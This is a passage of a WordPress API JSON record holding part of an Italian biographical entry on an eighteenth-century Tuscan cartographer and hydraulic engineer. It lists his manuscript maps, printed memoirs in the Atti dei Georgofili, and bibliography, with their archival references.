dell\u2019Usciana, 1780 (ASF, Segreteria di Finanze ante 1788, f. 936, ins. 1780, Piante dello Scrittoio delle Regie Possessioni, n. 116, e Carte Gianni, 1, ins. 4; e SUAP, RAT 222-223);Raccolta delle principali vedute degli Appennini del Mugello, Casentino e Romagna, 1790 (BNCF, Grandi Formati, n. 164\/I-II), 47 vedute pittoriche di ambienti e centri abitati appenninici e adriatici, con piante; Vedute pittoriche della montagna tosco-romagnola, Pianta dimostrativa di una parte del Casentino, Pianta dimostrativa dei progetti delle due linee di strada che dalla Consuma andrebbero sino al fiume Arno nella Provincia del Casentino, la Pianta dimostrativa delle strade presenti che da Stia e Pratovecchio vanno alla cima dell\u2019Appennino, dove chiamano Calla di Campigna, e Sodo alle Calle, Carta geografica del Casentino, disegno di Salvatore Piccioli, 1789 (BNCF, Cappugi, n. 308); Carta geografica di parte del Gran Ducato di Toscana e dello Stato della Chiesa, 1790-91 (SUAP, RAT 123); Pianta della Pianura di Valdichiana posta tra il Callone Pontificio e il Lago di Chiusi che comprende ancora un tratto del Fiume Tresa colla campagna adiacente fino alla confluenza del Torrente Maiano, disegno di Salvatore Piccioli, 1780 (in volume Concordato del 1780 fra Pio VI e Pietro Leopoldo intorno alla Bonifica delle Chiane nei territori di Citt\u00e0 della Pieve e Chiusi, edito a Firenze dallo stampatore Cambiagi nel 1788; Profili di livellazione del Fiume Arno nella Pianura Pisana (ASP, Piante dell'Ufficio Fiumi e Fossi, nn. 39 e 41); <br \/>\r\n<br \/>\r\nSezioni di alcuni corsi d'acqua del Valdarno Pisano e della campagna circostante realizzate in base alla visita generale dell'autunno-inverno 1773 (ASF, Miscellanea di Piante, n. 35), si tratta di 85 sezioni disegnate in 14 fogli; Pianta del suolo paludoso denominato Il Pantanello... nel territorio di Pitigliano, appartenente a quella Comunit\u00e0, al fine della realizzazione di canali di scolo delle acque, 1776 (ASF, Segreteria di Finanze ante 1788, n. 713, ins. \"Memoria sopra Laghi e Paduli\"); Pianta d'una porzione del corso del fiume Bruna... e della pianura circostante, 1776 (ASF, Segreteria di Finanze ante 1788, n. 749, ins. \"Memoria III sopra il Torrente Bruna\", tav. I); Piante del Palazzo Pretorio di Castiglione della Pescaia, 1782 (ASGr, Ufficio dei Fossi, n. 91, c. 414r, sc. 57 e c. 415r, sc. 58), con i disegni commissionati al Ferroni dalla Deputazione sopra gli Affari di Maremma e i progetti dei lavori eseguiti dagli ingegneri dell'Ufficio dei Fossi di Grosseto Giovanni Boldrini e Giovanni Spadini; Piante e prospetti (in 5 tavole) per la realizzazione di lavori al Fiume Ombrone, 1787 (ASGr, Ufficio dei Fossi, n. 20, c. 28r, sc. 25); Piante e alzati (in 4 tavole non datate) della casa poderale di Porto a Pulicciano in Valdichiana (ASF, Miscellanea di Piante, n. 225).<\/p>\n<p>Produzione di cartografia a stampa:<br \/>\nensieri sull\u2019amministrazione agraria. Memoria letta il 7 febbraio 1798, \u201cAtti della R. Societ\u00e0 Economico-Agraria di Firenze ossia dei Georgofili\u201d, 5 (1804), pp. 209-240; Brevi osservazioni per quel che riguarda la Toscana sopra la lettera stampata a Milano nel 1803 ed intitolata \u201cLettre sur l\u2019agricolture de l\u2019Italie\u201d, \u201cAtti della R. Societ\u00e0 Economico-Agraria di Firenze ossia dei Georgofili\u201d, 5 (1804), pp. 392-394; Delle comunicazioni interne dei popoli della Toscana. Memoria del 25 febbraio 1801, \u201cAtti della R. Societ\u00e0 Economico-Agraria di Firenze ossia dei Georgofili\u201d, 6 (1810), pp. 93-125; Sull\u2019alienazione delle possessioni di pubblica pertinenza. Memoria del 18 marzo 1801, \u201cAtti della R. Societ\u00e0 Economico-Agraria di Firenze ossia dei Georgofili\u201d, 6 (1810), pp. 126-148; Sulle piantagioni regolari e sul rinselvamento degli Appennini, Memoria del 9 marzo 1803, \u201cAtti della R. Societ\u00e0 Economico-Agraria di Firenze ossia dei Georgofili\u201d, 6 (1810), pp. 252-280; Sopra i maggesi e sul modo di accrescere l\u2019industria a favore dell\u2019agricoltura. Memoria del 28 settembre 1803, \u201cAtti della R. Societ\u00e0 Economico-Agraria di Firenze ossia dei Georgofili\u201d, 7 (1812), pp. 290-310; Sulla bonificazione di laghi e paduli. Memoria del 7 agosto 1805, \u201cAtti della R. Societ\u00e0 Economico-Agraria di Firenze ossia dei Georgofili\u201d, 8 (1817), pp. 80-106; Sul taglio delle macchie alpine. Memoria del 1\u00b0 luglio 1807, \u201cAtti della R. Societ\u00e0 Economico-Agraria di Firenze ossia dei Georgofili\u201d, 8 (1817), pp. 249-265; Sulle Maremme. Memoria di un matematico, \u201cContinuazione degli Atti dell\u2019 Accademia dei Georgofili\u201d, 3 (1823), pp. 314-326; Ricerche idrometriche sul fiume Arno. Memoria del 30 gennaio 1822, \u201cContinuazione degli Atti dell\u2019 Accademia dei Georgofili\u201d, 4 (1825), pp. 283-309; Alcune considerazioni riguardanti la relazione di T. Perelli intorno all\u2019Arno dentro la citt\u00e0 di Firenze (1824), in Raccolta d\u2019autori italiani che trattano del moto delle acque, Bologna, Marsigli, 1826, vol. X, pp. 147-149; Dei vocaboli relativi al Censimento pubblico. Lezione dell\u20198 giugno 1824, \u201cContinuazione degli Atti dell\u2019 Accademia dei Georgofili\u201d, 8 (1829), pp. 204-215; Sulla possibilit\u00e0 di miglioramento in vari rami di agricoltura toscana. Prosa letta il d\u00ec 5 dicembre 1824, in Scritti si pubblica economia degli autori georgofili, Arezzo, Bellotti, vol. I, 1899, pp. 63-77<\/p>\n<p>Fonti d’archivio:<br \/>\n<\/p>\n<p>Bibliografia:<br \/>\nBarsanti, 1994; Toccafondi, 1996, pp. 156-157; Barsanti e Rombai, a cura di, 1994, pp. 153-193; Ginori Lisci, 1978, pp. 147 e 284; Barsanti, 1987, p. 131; Rombai, Toccafondi e Vivoli, 1987, pp. 76 e 163; Archivio di Stato di Firenze, 1991, pp. 372-373 e 376-377; Barsanti, 1992, p. 4; Melis, 1996, p. 152; Barsanti, Bonelli Conenna e Rombai, 2001, pp. 42, 49, 68 e 97; Di Pietro, 2005, pp. 124-135; Sterpos, 1977, pp. 4-38; Farinella, DBI, ad vocem; Bencivenni, 1984, p. 99; BMoF, Acquisti diversi; AAADF, Fondo Manetti; BNCF, Cappugi; BNCF, Grandi Formati; BNCF, Fondo Nazionale; BNCF, Palatino; BNCF, M.S.; ASF, Scrittoio delle Regie Possessioni; ASF, Piante delle Regie Possessioni; ASF, Segreteria di Finanze ante 1788; ASF, ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade; ASF, Miscellanea di Piante; ASF, Ministero delle Finanze; ASF, Piante Acque e Strade; ASF, Camera delle Comunit\u00e0 e Luoghi Pii; ASF, Carte Gianni; ASP, Ufficio Fiumi e Fossi; ASGr, Ufficio dei Fossi; AAADF, Fondo Manetti; OXF; SUAP, RAT.<\/p>\n<p>Rimandi ad altre schede: <\/p>\n<p>Autore della scheda: Leonardo Rombai<\/p>\n","protected":false},"excerpt":{"rendered":"<p>N. M. Relazioni di parentela: Ente\/istituzione di appartenenza: Qualifica: Biografia: Produzione scientifica: Produzione di cartografia manoscritta: Produzione di cartografia a stampa: Fonti d’archivio: Bibliografia: Rimandi ad altre schede: Autore della scheda:<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[20,78,76],"acf":[],"_links":{"self":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/895"}],"collection":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/comments?post=895"}],"version-history":[{"count":3,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/895\/revisions"}],"predecessor-version":[{"id":2426,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/895\/revisions\/2426"}],"wp:attachment":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/media?parent=895"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/categories?post=895"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/tags?post=895"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}